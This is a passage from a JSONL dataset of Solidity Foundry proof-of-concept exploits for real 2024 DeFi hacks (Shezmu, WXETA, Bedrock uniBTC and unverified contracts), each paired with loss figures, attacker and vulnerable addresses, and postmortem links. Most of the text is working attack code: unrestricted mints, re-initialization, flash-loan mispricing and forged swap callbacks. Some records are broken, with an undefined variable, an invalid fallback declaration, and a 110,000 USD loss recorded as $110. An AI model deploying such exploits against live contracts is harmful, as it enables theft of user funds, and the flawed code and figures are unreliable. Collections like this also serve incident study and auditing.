0x641249dB01d5C9a04d1A223765fFd15f95167924;\naddress constant SHEZ_USD = 0xD60EeA80C83779a8A5BFCDAc1F3323548e6BB62d;\n\ncontract Shezmu is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 20794865 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = SHEZ_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n}\n\ncontract AttackContract {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }\n function attack() public {\n IShezmuCollateralToken(COLLATERAL_TOKEN).approve(SHEZMU_VAULT_PROXY, type(uint256).max);\n uint256 amount = type(uint128).max - 1;\n // Root cause: The Shezmu Vault collateral token contract mint() function \n // lacks access control\n // anyone can mint any amount of collateral token\n IShezmuCollateralToken(COLLATERAL_TOKEN).mint(address(this), amount);\n\n IShezmuVault vault = IShezmuVault(SHEZMU_VAULT_PROXY);\n vault.addCollateral(amount);\n\n // This step will mint new ShezUSD to the borrower\n uint256 borrowAmount = 99999159998000000000000000000;\n vault.borrow(borrowAmount);\n\n IERC20 shezUSD = IERC20(SHEZ_USD);\n shezUSD.transfer(attacker, shezUSD.balanceOf(address(this)));\n }\n}\n\ninterface IShezmuCollateralToken {\n function approve(address spender, uint256 amount) external returns (bool);\n function mint(address to, uint256 amount) external;\n}\n\ninterface IShezmuVault {\n function addCollateral(uint256 _colAmount) external;\n function borrow(uint256 _amount) external;\n}\n", "type": "exploit_poc", "protocol": "Shezmu", "date": "2024-09", "file_name": "Shezmu_exp.sol", "attack_vector": "access_control", "content_hash": "9dbc105d0975497c", "collected_at": "2026-01-07T10:59:16.534023", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "4.9M USD", "total_lost_usd": 4900000.0, "attacker_address": "https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d", "attack_contract": "https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C", "vulnerable_contract": "https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924", "attack_tx": "https://etherscan.io/tx/0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71", "postmortem_url": "https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b", "twitter_url": "https://x.com/shoucccc/status/1837228053862437244", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "4.9M USD", "category": "access-control", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n}\n\ncontract AttackContract {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "4.9M USD", "keyinfo_attacker": "https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d", "keyinfo_attack_contract": "https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924", "keyinfo_attack_tx": "https://etherscan.io/tx/0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71", "analysis_postmortem": "https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b", "analysis_twitter": "https://x.com/shoucccc/status/1837228053862437244", "funds_lost_formatted": "$4.90M", "content_richness_score": 8.44, "quality_estimate": "high", "title": "Shezmu Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "\n// @KeyInfo - Total Lost : 110,000 USD\n// Attacker : https://bscscan.com/address/0x57ecf40b596274a985967e3f698437ae0a9600a0\n// Attack Contract : https://bscscan.com/address/0x11bffb96daa9b0c47fef01401eb089549e87604e\n// Vulnerable Contract : https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7\n// Attack Tx : https://bscscan.com/tx/0x614da880bd46e98131accd9a83917abf3d56dac94caf13ae98eeff504eea3704\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7#code\n// @Analysis\n\n// Post-mortem : https://x.com/TenArmorAlert/status/1835494807495659645\n// Twitter Guy : https://x.com/TenArmorAlert/status/1835494807495659645\n// Hacking God : N/A\n\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\naddress constant WXetaDiamond = 0x05c2dD9cf547C6cCCF91245346E6E1BC9926cae7;\naddress constant PancakePair = 0xF5a32e5E54a771B9d3C853143db74449B721C03B;\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant BEP20Token = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\naddress constant addr1 = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant addr2 = 0x4848489f0b2BEdd788c696e2D79b6b69D7484848;\naddress constant attacker = 0x57ecF40B596274a985967e3F698437aE0a9600A0;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 42284161);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x11Bffb96DAa9b0C47FEf01401eb089549e87604E\ncontract AttackerC {\n constructor() {\n IWXetaDiamond(WXetaDiamond).initialize(type(uint256).max);\n bool minted = IWXetaDiamond(WXetaDiamond).mint(PancakePair, 1000000000000000 * 1e18);\n \n uint256 balPair = IBEP20Token(BEP20Token).balanceOf(PancakePair);\n (bool s1,) = PancakePair.call(abi.encodeWithSelector(\n bytes4(keccak256(\"swap(uint256,uint256,address,bytes)\")),\n 0, balPair - 1e18, address(this), bytes(\"\")\n ));\n require(s1);\n bool ok = IBEP20Token(BEP20Token).approve(PancakeRouter, type(uint256).max);\n \n uint256 bal = IBEP20Token(BEP20Token).balanceOf(address(this));\n address[] memory path = new address[](2);\n path[0] = BEP20Token;\n path[1] = addr1;\n (bool s2,) = PancakeRouter.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"swapExactTokensForETH(uint256,uint256,address[],address,uint256)\")),\n bal, 0, path, address(this), block.timestamp\n )\n );\n require(s2);\n payable(addr2).call{value: 10**16}(\"\");\n selfdestruct(payable(msg.sender));\n }\n}\n\ninterface IWXetaDiamond {\n\tfunction mint(address, uint256) external returns (bool);\n\tfunction initialize(uint256) external; \n}\n\ninterface IBEP20Token {\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction approve(address, uint256) external returns (bool); \n}", "type": "exploit_poc", "protocol": "WXETA", "date": "2024-09", "file_name": "WXETA_exp.sol", "attack_vector": null, "content_hash": "490978270fa586a4", "collected_at": "2026-01-07T10:59:16.534073", "_source": "postmortems", "chain": "bsc", "block_number": 42284161, "total_lost_raw": "110,000 USD", "total_lost_usd": 110.0, "attacker_address": "https://bscscan.com/address/0x57ecf40b596274a985967e3f698437ae0a9600a0", "attack_contract": "https://bscscan.com/address/0x11bffb96daa9b0c47fef01401eb089549e87604e", "vulnerable_contract": "https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7", "attack_tx": "https://bscscan.com/tx/0x614da880bd46e98131accd9a83917abf3d56dac94caf13ae98eeff504eea3704", "postmortem_url": "https://x.com/TenArmorAlert/status/1835494807495659645", "twitter_url": "https://x.com/TenArmorAlert/status/1835494807495659645", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "110,000 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x11Bffb96DAa9b0C47FEf01401eb089549e87604E\ncontract AttackerC {\n constructor() {\n IWXetaDiamond(WXetaDiamond).initialize(type(uint256).max);\n bool minted = IWXetaDiamond(WXetaDiamond).mint(PancakePair, 1000000000000000 * 1e18);\n \n uint256 balPair = IBEP20Token(BEP20Token).balanceOf(PancakePair);\n (bool s1,) = PancakePair.call(abi.encodeWithSelector(\n bytes4(keccak256(\"swap(uint256,uint256,address,bytes)\")),\n 0, balPair - 1e18, address(this), bytes(\"\")\n ));\n require(s1);\n bool ok = IBEP20Token(BEP20Token).approve(PancakeRouter, type(uint256).max);\n \n uint256 bal = IBEP20Token(BEP20Token).balanceOf(address(this));\n address[] memory path = new address[](2);\n path[0] = BEP20Token;\n path[1] = addr1;\n (bool s2,) = PancakeRouter.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"swapExactTokensForETH(uint256,uint256,address[],address,uint256)\")),\n bal, 0, path, address(this), block.timestamp\n )\n );\n require(s2);\n payable(addr2).call{value: 10**16}(\"\");\n selfdestruct(payable(msg.sender));\n }\n}\n\ninterface IWXetaDiamond {", "has_exploit_code": true, "keyinfo_total_lost": "110,000 USD", "keyinfo_attacker": "https://bscscan.com/address/0x57ecf40b596274a985967e3f698437ae0a9600a0", "keyinfo_attack_contract": "https://bscscan.com/address/0x11bffb96daa9b0c47fef01401eb089549e87604e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7", "keyinfo_attack_tx": "https://bscscan.com/tx/0x614da880bd46e98131accd9a83917abf3d56dac94caf13ae98eeff504eea3704", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1835494807495659645", "analysis_twitter": "https://x.com/TenArmorAlert/status/1835494807495659645", "funds_lost_formatted": "$110", "content_richness_score": 7.63, "quality_estimate": "medium", "title": "WXETA Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 100 USD\n// Attacker : https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3\n// Attack Contract : https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a\n// Vulnerable Contract : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58\n// @Analysis\n\n// Post-mortem : https://x.com/TenArmorAlert/status/1836339028616188321\n// Twitter Guy : https://x.com/TenArmorAlert/status/1836339028616188321\n// Hacking God : N/A\n\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant addr1 = 0x766a0936FF0aD045d39871846194eDBd5DF63a58;\naddress constant attacker = 0xbA35D089adDaC99A8e7BcD1a25712B1702623Ae3;\naddress constant addr2 = 0x71cd31a564FF30ba61d7167a02Babc1484034E84;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 42357807);\n deal(attacker, 3.52e-15 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 3.52e-15 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(address(attC)), 18);\n }\n}\n\n// 0xD310431E98412Eb9a7c66808478bF08fdea81E2a\ncontract AttackerC {\n function attack() public payable {\n int256 amount0Delta = -247659866327218868765;\n int256 amount1Delta = int256(int(51156128500000 * 3600));\n bytes memory data = abi.encode(address(this), addr1);\n\n bytes4 sel = bytes4(keccak256(\"pancakeV3SwapCallback(int256,int256,bytes)\"));\n (bool ok, ) = addr2.call(abi.encodeWithSelector(sel, amount0Delta, amount1Delta, data));\n require(ok, \"callback failed\");\n\n withdraw();\n\n (bool s, ) = attacker.call{value:address(this).balance}(\"\");\n }\n \n function withdraw() public {\n uint bal = IERC20(wbnb).balanceOf(address(this));\n if (bal > 1) {\n // Use call to avoid explicit conversion error\n (bool ok, ) = wbnb.call(abi.encodeWithSignature(\"withdraw(uint256)\", bal - 1));\n require(ok, \"withdraw failed\");\n }\n }\n\n function token1() external pure returns (address) {\n return wbnb;\n }\n\n // fallback as per trace: no logic\n fallback() external payable { }\n receive() external payable { }\n}", "type": "exploit_poc", "protocol": "unverified_766a", "date": "2024-09", "file_name": "unverified_766a_exp.sol", "attack_vector": null, "content_hash": "eb16b25a5749d71b", "collected_at": "2026-01-07T10:59:16.534123", "_source": "postmortems", "chain": "bsc", "block_number": 42357807, "total_lost_raw": "100 USD", "total_lost_usd": 100.0, "attacker_address": "https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3", "attack_contract": "https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a", "vulnerable_contract": "https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b", "postmortem_url": "https://x.com/TenArmorAlert/status/1836339028616188321", "twitter_url": "https://x.com/TenArmorAlert/status/1836339028616188321", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "100 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 3.52e-15 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(address(attC)), 18);\n }\n}\n\n// 0xD310431E98412Eb9a7c66808478bF08fdea81E2a\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "100 USD", "keyinfo_attacker": "https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3", "keyinfo_attack_contract": "https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1836339028616188321", "analysis_twitter": "https://x.com/TenArmorAlert/status/1836339028616188321", "funds_lost_formatted": "$100", "content_richness_score": 7.47, "quality_estimate": "medium", "title": "unverified_766a Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1.7M US$\n// Attacker : https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96\n// Attack Contract : https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB\n// Vulnerable Contract : https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da\n// Attack Tx : https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code\n// L2417-2420, mint() function\n\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contrasts involved\naddress constant uniBTC = 0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;\naddress constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\naddress constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\naddress constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n// Implementation: https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code\naddress constant VulVault = 0x047D41F2544B7F63A8e991aF2068a363d210d6Da;\n\ncontract Bedrock_DeFi_exp is Test {\n address attacker = makeAddr(\"attacker\");\n Attacker attackerC;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_836_584 - 1);\n }\n\n function testPoCMinimal() public {\n // Borrow 200 ether to the attacker\n vm.deal(attacker, 200e18);\n\n // The attacker mint 200 ETH to 200 uniBTC\n vm.startPrank(attacker);\n IFS(VulVault).mint{value: 200e18}();\n\n // The attacker received 200 uniBTC(~BTC) for 200 ETH\n console.log(\"Final balance in uniBTC :\", IFS(uniBTC).balanceOf(attacker));\n }\n\n function testPoCReplicate() public {\n vm.startPrank(attacker);\n attackerC = new Attacker();\n\n attackerC.attack();\n\n console.log(\"Final balance in WETH :\", IFS(weth).balanceOf(attacker));\n }\n}\n\ncontract Attacker {\n address txSender;\n\n function attack() external {\n txSender = msg.sender;\n\n IFS(uniBTC).approve(uniV3Router, type(uint256).max);\n IFS(WBTC).approve(uniV3Router, type(uint256).max);\n\n address[] memory tokens = new address[](1);\n tokens[0] = weth;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 30_800_000_000_000_000_000;\n IFS(balancerVault).flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n IFS(weth).withdraw(amounts[0]);\n IFS(VulVault).mint{value: address(this).balance}();\n uint256 bal_uniBTC = IFS(uniBTC).balanceOf(address(this));\n\n IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams(\n uniBTC, // address tokenIn;\n WBTC, // address tokenOut;\n 500, // uint24 fee;\n address(this), // address recipient;\n block.timestamp, // uint256 deadline;\n bal_uniBTC, // uint256 amountIn;\n 0, // uint256 amountOutMinimum;\n 0 // uint160 sqrtPriceLimitX96;\n );\n\n IFS(uniV3Router).exactInputSingle(input);\n\n uint256 balWBTC = IFS(WBTC).balanceOf(address(this));\n\n input = IFS.ExactInputSingleParams(\n WBTC, // address tokenIn;\n weth, // address tokenOut;\n 500, // uint24 fee;\n address(this), // address recipient;\n block.timestamp, // uint256 deadline;\n balWBTC, // uint256 amountIn;\n 0, // uint256 amountOutMinimum;\n 0 // uint160 sqrtPriceLimitX96;\n );\n\n IFS(uniV3Router).exactInputSingle(input);\n IFS(weth).transfer(balancerVault, amounts[0]);\n\n uint256 bal_weth = IFS(weth).balanceOf(address(this));\n IFS(weth).transfer(txSender, bal_weth);\n }\n\n receive() external payable {}\n}\n\ninterface IFS is IERC20 {\n // balancerVault\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n\n // WETH\n function withdraw(\n uint256 wad\n ) external;\n\n // Vulnerable Vault\n function mint() external payable;\n\n // Uniswap V3: SwapRouter\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n}\n", "type": "exploit_poc", "protocol": "Bedrock_DeFi", "date": "2024-09", "file_name": "Bedrock_DeFi_exp.sol", "attack_vector": "flash_loan", "content_hash": "d73edbf37249cabd", "collected_at": "2026-01-07T10:59:16.534172", "_source": "postmortems", "chain": "ethereum", "block_number": 20836584, "total_lost_raw": "~1.7M US$", "total_lost_usd": 1700000.0, "attacker_address": "https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96", "attack_contract": "https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB", "vulnerable_contract": "https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da", "attack_tx": "https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~1.7M US$", "category": "flash-loan", "exploit_code": "function testPoCMinimal() public {\n // Borrow 200 ether to the attacker\n vm.deal(attacker, 200e18);\n\n // The attacker mint 200 ETH to 200 uniBTC\n vm.startPrank(attacker);\n IFS(VulVault).mint{value: 200e18}();\n\n // The attacker received 200 uniBTC(~BTC) for 200 ETH\n console.log(\"Final balance in uniBTC :\", IFS(uniBTC).balanceOf(attacker));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1.7M US$", "keyinfo_attacker": "https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96", "keyinfo_attack_contract": "https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da", "keyinfo_attack_tx": "https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.70M", "content_richness_score": 9.47, "quality_estimate": "high", "title": "Bedrock_DeFi Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $1.7k\n// Attacker : https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348\n// Attack Contract : https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3\n// Vulnerable Contract : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0\n// Attack Tx : https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1834488796953673862\n// Twitter Guy : https://x.com/TenArmorAlert/status/1834488796953673862\n// Hacking God : N/A\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant vul_contract = 0x03F911AeDc25c770e701B8F563E8102CfACd62c0;\naddress constant attacker = 0xf073a21f0D68aDaCfff34D5b8DF04550c944e348;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20737848);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // deal(address(attC), 0.7370354703656878 ether); // give only ether\n deal(weth9, address(attC), 737035470365687849); // give WETH\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xD683B81c2608980DB90a6fD730153e04629ff1A3\ncontract AttackerC {\n receive() external payable {}\n\n function attack() public {\n bytes memory data = abi.encode(\n address(weth9),\n address(this),\n uint256(10000)\n );\n (bool ok, ) = addr2.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"uniswapV3SwapCallback(int256,int256,bytes)\")),\n int256(737035470365687848),\n int256(-18035979692517947),\n data\n )\n );\n require(ok, \"callback failed\");\n\n uint256 bal = IWETH9(weth9).balanceOf(address(this));\n IWETH9(weth9).withdraw(bal - 1);\n // here, we didn't transfer ether to the block.coinbase\n payable(msg.sender).transfer(address(this).balance);\n }\n \n fallback() external payable {}\n}\n\ninterface IWETH9 {\n\tfunction withdraw(uint256) external;\n\tfunction balanceOf(address) external view returns (uint256); \n}", "type": "exploit_poc", "protocol": "unverified_03f9", "date": "2024-09", "file_name": "unverified_03f9_exp.sol", "attack_vector": null, "content_hash": "a4c5b55759d96032", "collected_at": "2026-01-07T10:59:16.534227", "_source": "postmortems", "chain": "ethereum", "block_number": 20737848, "total_lost_raw": "$1.7k", "total_lost_usd": 1700.0, "attacker_address": "https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348", "attack_contract": "https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3", "vulnerable_contract": "https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0", "attack_tx": "https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9", "postmortem_url": "https://x.com/TenArmorAlert/status/1834488796953673862", "twitter_url": "https://x.com/TenArmorAlert/status/1834488796953673862", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "$1.7k", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // deal(address(attC), 0.7370354703656878 ether); // give only ether\n deal(weth9, address(attC), 737035470365687849); // give WETH\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xD683B81c2608980DB90a6fD730153e04629ff1A3\ncontract AttackerC {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "$1.7k", "keyinfo_attacker": "https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348", "keyinfo_attack_contract": "https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0", "keyinfo_attack_tx": "https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1834488796953673862", "analysis_twitter": "https://x.com/TenArmorAlert/status/1834488796953673862", "funds_lost_formatted": "$1.7K", "content_richness_score": 7.32, "quality_estimate": "medium", "title": "unverified_03f9 Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\naddress constant attacker = 0xfe51ffcd2af4748d77130646988F966733583dc1;\naddress constant addr1 = 0xb3094734FE249A7b0110dC12D66F6C404aDA28Cb;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n// @KeyInfo - Total Lost : $1.5k\n// Attacker : https://etherscan.io/address/0xfe51ffcd2af4748d77130646988f966733583dc1\n// Attack Contract : https://etherscan.io/address/0xa826dacf14a462bca2a6e4de4c27f20ed7b43b1d\n// Vulnerable Contract : https://etherscan.io/address/0xb3094734fe249a7b0110dc12d66f6c404ada28cb\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x83c71a83656b0fecfa860e76a9becf738930b3f1b2510c7d0339ab585090a82d\n// Similar Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xf93db4cdee0ed2af06067a9c953ebc62dd17f70be37961636c42d698cc23e932\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1831637553415610877\n// Twitter Guy : https://x.com/TenArmorAlert/status/1831637553415610877\n// Hacking God : N/A\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20683453-1);\n }\n \n function testPoC() public {\n\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).balanceOf(address(attC)), 18);\n }\n}\n\n// 0xA826daCf14a462bca2A6e4de4c27F20ED7B43B1D\ncontract AttackerC {\n function attack() public {\n // call addr1.uniswapV3SwapCallback(3600e14, -86965571293199577, abi.encodePacked(uint256(0)))\n bytes memory data = abi.encodePacked(uint8(0), uint256(0));\n (bool ok, ) = addr1.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"uniswapV3SwapCallback(int256,int256,bytes)\")),\n int256(360000000000000000),\n int256(-86965571293199577),\n data\n )\n );\n }\n\n function token0() external pure returns (address) {\n return weth;\n }\n\n function fallback() external payable {}\n}", "type": "exploit_poc", "protocol": "unverified_a89f", "date": "2024-09", "file_name": "unverified_a89f_exp.sol", "attack_vector": null, "content_hash": "1eee2ebe0517f264", "collected_at": "2026-01-07T10:59:16.534273", "_source": "postmortems", "chain": "ethereum", "block_number": 20683453, "total_lost_raw": "$1.5k", 